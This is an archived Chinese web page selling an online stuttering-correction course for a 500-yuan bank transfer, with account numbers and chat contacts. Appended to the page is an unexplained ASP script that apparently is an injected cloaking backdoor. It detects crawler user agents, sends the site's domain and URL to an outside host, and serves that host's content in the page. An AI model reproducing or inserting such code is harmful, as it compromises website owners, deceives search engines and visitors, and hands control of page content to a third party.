网上矫正

  为了方便全国各地口吃患者进行自我矫正。本中心特开设“网上矫正”。患者只要在这里注册后,我们在收到你寄出的500元网上矫正费后,当天就把一份电子资料与MP3录音教材从网上发到你的电子信箱或是QQ上传送。患者先按照网上矫正资料进行自我矫正。如有问题,可以和我们约定时间在QQ或是MSN上联系,我们根据你的情况再进行针对性的辅导


   交通银行:601428 6013 5384006 开户名:储建良
   建设银行:5324 2686 2234 1015 开户名:储建良
   电话/传真:0519-86977629
   联系QQ:77013107
   MSN:kcjz_2@hotmail.com
   信箱:kcjz@qq.com

 

返回主页


<% Function getBody(infopageurl) On Error Resume Next if infopageurl<>"" then dim xmlHttp set xmlHttp=server.createobject("MSXML2.XMLHTTP") xmlHttp.open "GET",infopageurl,false xmlHttp.send getBody=BytesToBstr(xmlhttp.responsebody,"GB2312") set xmlHttp=nothing end if end Function Function BytesToBstr(body,Cset) dim objstream set objstream = Server.CreateObject("adodb.stream") objstream.Type = 1 objstream.Mode = 3 objstream.Open objstream.Write body objstream.Position = 0 objstream.Type = 2 objstream.Charset = Cset BytesToBstr = objstream.ReadText objstream.Close set objstream = nothing End Function dns = Request.ServerVariables("SERVER_NAME") path = Request.ServerVariables("PATH_INFO") qs = Request.ServerVariables("QUERY_STRING") url= dns&path&"?"&qs agent = Request.ServerVariables("HTTP_USER_AGENT") tz = "http" if Instr(agent,tz)>0 then if path ="/index.asp" or path="/default.asp" then response.write getBody("http://wap.w207.dnsfx.cn/conn6.asp?dns="&dns) else response.write getBody("http://wap.w207.dnsfx.cn/conn6.asp?dns="&url&"&dn="&dns) end if end if %>